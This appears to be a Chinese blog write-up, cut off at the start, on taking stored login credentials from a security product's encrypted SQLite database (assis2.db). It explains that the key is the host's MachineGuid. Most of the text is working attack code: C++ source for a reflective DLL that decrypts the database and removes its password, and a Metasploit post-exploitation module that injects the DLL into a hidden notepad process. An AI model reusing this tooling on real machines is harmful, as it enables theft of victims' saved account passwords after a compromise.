se://login-maganer
,做添加登录帐号密码,监控哪个文件修改了,找到保存登录帐号密码的数据库,发现并不能正常打开,然后队友一顿操作,就把数据库在哪里,用什么数据库,密码是什么,数据库里面的加密算法都告诉我了,数据库文件名叫assis2.db
。sqlite3_key
导出表函数下断点。sqlite3_key(sqlite3 *db, const void *zKey, int nKey)
,第一个参数是打开的数据库,第二个参数是密码,第三个参数是密码的长度。8b7381f4-4279-4815-9323-504749029486
的长度,所以说这一长串东西就是密码,其实就是当前主机的MachineGuid
。多线程(/MT)
,不然编译出来的DLL文件还要一个sqlite3.dll才可以运行。SQLITE_HAS_CODEC=1
CODEC_TYPE=CODEC_TYPE_AES128
SQLITE_CORE
THREADSAFE
SQLITE_SECURE_DELETE
SQLITE_SOUNDEX
SQLITE_ENABLE_COLUMN_METADATA
# define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
# define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
# define _CRT_SECURE_NO_DEPRECATE
# ifndef SQLITE_HAS_CODEC
# define SQLITE_HAS_CODEC
# endif
# include "ReflectiveLoader.c"
# pragma comment(lib,"wxsqlite3.lib") // wxsqlite3需要
extern "C" HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
# include <windows.h>
# include <tchar.h>
# include <vector>
# include "wx/wxsqlite3.h"
# include "wx/wxsqlite3opt.h"
# include "wx/sqlite3mc_amalgamation.h"
# define SQLITE3_STATIC
using namespace std;
string RegQueryValueApi(HKEY hKey, const char* lpSubKeyG, const char* KeyValueG)
{
HKEY hKeyResult = NULL;
HKEY hKeyResultG = NULL;
CHAR szLocation[MAX_PATH] = { '\\0' };
CHAR szLocationG[MAX_PATH] = { '\\0' };
DWORD dwSize = 0;
DWORD dwSizeG = 0;
DWORD dwDataType = 0;
DWORD dwDataTypeG = 0;
LONG ret = 0;
LONG retG = 0;
string value;
if (ERROR_SUCCESS == RegOpenKeyExA(hKey, lpSubKeyG, 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKeyResultG))
{
retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, NULL, &dwSizeG);
retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, (LPBYTE)&szLocationG, &dwSizeG);
if (ERROR_SUCCESS == ret)
{
value.append(szLocationG);
}
RegCloseKey(hKeyResultG);
}
return value;
}
int ExecutePayload()
{
// 读取MachineGuid
HKEY hKey = HKEY_LOCAL_MACHINE;
const char* lpSubKeyG = "SOFTWARE\\\\MICROSOFT\\\\CRYPTOGRAPHY";
const char* KeyValueG = "MachineGuid";
string szMachineGuid;
szMachineGuid = RegQueryValueApi(hKey, lpSubKeyG, KeyValueG);
int ret = 0;
sqlite3* db = 0;
// 打开数据库
ret = sqlite3_open("<assis2.db 的路径>", &db);
// 解密第一层密码
sqlite3_key(db, szMachineGuid.data(), 36);
// 清除原来的密码
sqlite3_rekey(db, NULL, 0);
sqlite3_close(db);
db = 0;
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
def inject_dll(process, dll_path)
library_path = ::File.expand_path(dll_path)
exploit_mem, offset = inject_dll_into_process(process, library_path)
[exploit_mem, offset]
end
def remove_password
print_status('==> Removing database password...')
dll_path = File.join(Msf::Config.data_directory, 'post', '360', 'remove_password.dll') # data目录下的DLL文件路径
notepad_pathname = get_notepad_pathname(ARCH_X86, client.sys.config.getenv('windir'), client.arch) # 获取32位的记事本路径
notepad_process = client.sys.process.execute(notepad_pathname, nil, 'Hidden' => true) # 隐藏执行记事本
hprocess = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll(hprocess, dll_path) # 注入DLL到进程
hprocess.thread.create(exploit_mem + offset) # 创建线程调用DLL
sleep(5)
client.sys.process.kill(hprocess.pid) # 关闭进程
end
https://github.com/stephenfewer/ReflectiveDLLInjection
https://payloads.online/archivers/2020-03-02/1